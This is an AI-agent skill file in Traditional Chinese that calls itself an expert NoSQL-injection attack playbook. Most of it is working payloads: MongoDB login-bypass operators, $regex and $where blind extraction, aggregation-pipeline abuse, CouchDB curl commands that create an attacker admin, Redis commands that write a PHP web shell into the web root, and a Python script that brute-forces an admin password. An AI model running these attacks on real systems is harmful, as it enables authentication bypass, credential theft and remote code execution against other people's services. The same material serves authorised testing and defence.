nosql-injection

nosql-injection

熱門

NoSQL 注入劇本。當系統採用 MongoDB 風格的運算子、JSON 查詢物件、彈性搜尋過濾器或後端查詢 DSL,且可能導致資料或邏輯被濫用時使用。

1545星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
nosql-injection
描述

NoSQL 注入劇本。當系統採用 MongoDB 風格的運算子、JSON 查詢物件、彈性搜尋過濾器或後端查詢 DSL,且可能導致資料或邏輯被濫用時使用。

SKILL: NoSQL 注入 — 專家級攻擊劇本

AI 載入指令:NoSQL 注入與 SQL 注入有本質上的不同。本篇涵蓋 MongoDB 運算子注入、身分驗證繞過、盲測資料擷取、聚合管道(Aggregation Pipeline)注入,以及 Redis/CouchDB 的特定攻擊手法。僅熟悉 SQLi 模式的測試人員極易忽略此類漏洞。


1. 核心概念 — 運算子注入(OPERATOR INJECTION)

SQL 注入 是跳出字串常數(string literals)。
NoSQL 注入 則是注入 查詢運算子(query operators) 來改變查詢邏輯。

MongoDB 範例 — 正常查詢:

db.users.find({username: "alice", password: "secret"})

透過 JSON 運算子進行注入:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ 變更為:find({username:"admin", password:{$gt:""}}) → password > "" → 永遠為真(always true)!


2. MONGODB — 登入繞過

JSON Body 注入(使用 JSON Content-Type 的 API)

POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}

PHP $_POST 陣列注入(URL 編碼表單)

username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*

Ruby / Python params 陣列注入

與 PHP 相同 — 使用中括號語法注入物件:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 即為經過 URL 編碼的 $


3. 用於注入的 MONGODB 運算子

運算子 涵義 使用場景 / 案例
$ne 不等於(not equal) {"password": {"$ne": "x"}} → 永遠比對成功
$gt 大於(greater than) {"password": {"$gt": ""}} → 比對所有非空密碼
$gte 大於或等於 類似 $gt
$lt 小於(less than) {"password": {"$lt": "~"}} → 比對所有 ASCII 字元
$regex 正則表達式比對 {"username": {"$regex": "adm.*"}}
$where JS 表示式 極度危險 — 程式碼執行
$exists 欄位是否存在 {"admin": {"$exists": true}}
$in 存在於陣列中 {"username": {"$in": ["admin","user"]}}

4. 透過 $REGEX 進行盲測資料擷取(BLIND DATA EXTRACTION)

類似 SQLi 中的二元搜尋法,利用 $regex 逐字擷取欄位值:

// Admin 的密碼是否以 'a' 開頭?
{"username": "admin", "password": {"$regex": "^a"}}

// Admin 的密碼是否以 'b' 開頭?
{"username": "admin", "password": {"$regex": "^b"}}

// 依此類推:逐步縮小每個位置的字元範圍
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}

回應差異:登入成功 vs 登入失敗 = 布林預言機(Boolean Oracle)。

可使用 NoSQLMap 或對字元集進行二元搜尋的自訂腳本進行自動化測試


5. MONGODB $WHERE 注入(JS 執行)

$where 會在 MongoDB 上下文中執行 JavaScript。
僅能存取當前文件的欄位 — 無法存取系統權限。但仍可用於邏輯濫用:

{"$where": "this.username == 'admin' && this.password.length > 0"}

// 透過時間差進行盲測擷取:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// 透過 JS 進行正則表達式比對:
{"$where": "this.username.match(/^adm/) && true"}

限制$where 無法直接取得作業系統指令執行權限 — 這屬於伺服器端 JS 注入(Server-side JS Injection)(請勿與系統指令注入混淆)。


6. 聚合管道注入(AGGREGATION PIPELINE INJECTION)

當使用者可控的資料傳入 $match$group 階段時:

// 存在漏洞的程式碼:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])

注入運算子以進行繞過:

// 輸入物件:
{"$ne": null}  → 比對所有分類
{"$regex": ".*"}  → 比對所有項目

7. 用於 NOSQL 的 HTTP 參數污染(HTTP PARAMETER POLLUTION)

部分框架(如 Express.js、PHP)會將重複的參數解析為陣列:

?filter=value1&filter=value2 → filter = ["value1", "value2"]

利用 Node.js 中 qs 函式庫的解析行為:

?filter[$ne]=invalid
→ 解析為:filter = {$ne: "invalid"}
→ 引發 NoSQL 運算子注入

8. COUCHDB 攻擊手法

HTTP 管理員 API(若暴露於外)

# 列出所有資料庫:
curl http://target.com:5984/_all_dbs

# 讀取指定 DB 中的所有文件:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true

# 建立管理員帳號(若允許匿名存取):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'

9. REDIS 注入

Redis 埠號暴露(6379)且未啟用驗證 — 透過 Redis 查詢中所使用的輸入進行指令注入:

# 透過 SSRF 或直接注入:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE

驗證繞過(使用簡單密碼及 requirepass 的舊版 Redis):

AUTH password
AUTH 123456
AUTH redis
AUTH admin

10. 檢測 Payload

將以下內容傳送至任何由 NoSQL 後端處理的輸入欄位:

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=

JSON 變體測試(若端點基於表單,可嘗試將 Content-Type 修改為 application/json):

{"username": "admin", "password": {"$ne": ""}}

11. NOSQL 與 SQL — 關鍵差異

面相 / 特徵 SQLi NoSQLi
語法 SQL 語法 查詢運算子物件
注入向量 字串串接 物件 / 運算子注入
常見特徵 單引號中斷回應 {$ne:x} 改變回應結果
擷取方式 UNION / 錯誤導向 $regex 字元預言機(oracle)
身分驗證繞過 ' OR 1=1-- {"password":{"$ne":""}}
OS 指令執行 xp_cmdshell (MSSQL) 罕見(需要 $where + CVE)
指紋特徵 資料庫特定錯誤訊息 "cannot use $" 類型的錯誤訊息

12. 測試檢查清單

□ 使用 JSON Body 測試登入欄位:{"$ne": "invalid"}
□ 測試 URL 編碼表單:password[$ne]=invalid
□ 測試使用 $regex 盲測列舉欄位值
□ 嘗試配合 sleep() 的 $where 進行時間導向盲測
□ 檢查 CouchDB 5984 埠號(未授權管理員)
□ 檢查 Redis 6379 埠號(未授權存取)
□ 嘗試在表單端點使用 Content-Type: application/json
□ 監控與運算子相關的錯誤訊息(例如 "BSON"、"operator"、"$not allowed")

13. 盲測 NoSQL 資料擷取自動化

$regex 逐字擷取(Python 範本)

import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break

print(f"Final password: {password}")

透過 URL 編碼 GET 參數的 $regex 測試

username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# 反覆疊代字元集,直到登入成功為止

重複鍵(Duplicate Key)繞過

// 當應用程式檢查某個鍵值,但實際上處理另一個鍵值時:
{"id": "10", "id": "100"}
// JSON 解析器通常會採用最後出現的鍵值
// 繞過手法:WAF 驗證 id=10,但應用程式處理 id=100

14. 聚合管道注入(AGGREGATION PIPELINE INJECTION)

當使用者輸入傳遞至 MongoDB 聚合管道階段時:

// 若使用者控制了 $match 階段:
db.collection.aggregate([
  { $match: { user: INPUT } }  // 來自使用者的 INPUT
])

// 注入方式:提供物件而非字串
// INPUT = {"$gt": ""} → 比對所有文件

// 透過 $lookup 跨集合存取資料:
// 若 $lookup 階段可被注入:
{ $lookup: {
    from: "admin_users",       // 攻擊者選擇的集合(collection)
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// 透過 $out 將結果寫入新集合:
{ $out: "public_collection" }  // 將查詢結果寫入可存取的集合中

$where JavaScript 執行

// $where 允許執行任意 JavaScript(危險):
db.users.find({ $where: "this.username == 'admin'" })

// 若輸入進入 $where:
// 注入語法:' || 1==1 || '
// 或:'; return true; var x='
// 時間導向:'; sleep(5000); var x='
// 資料外洩:'; if(this.password[0]=='a'){sleep(5000)}; var x='

參考資料:Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)

注意: $where 會在伺服器端執行 JavaScript。除了邏輯濫用與時間通道(timing oracles)之外,缺乏嚴格 V8 沙盒防護的舊版 MongoDB 在歷史上曾有 RCE 疑慮;建議將任何傳入 $where 的點位均視為高風險漏洞。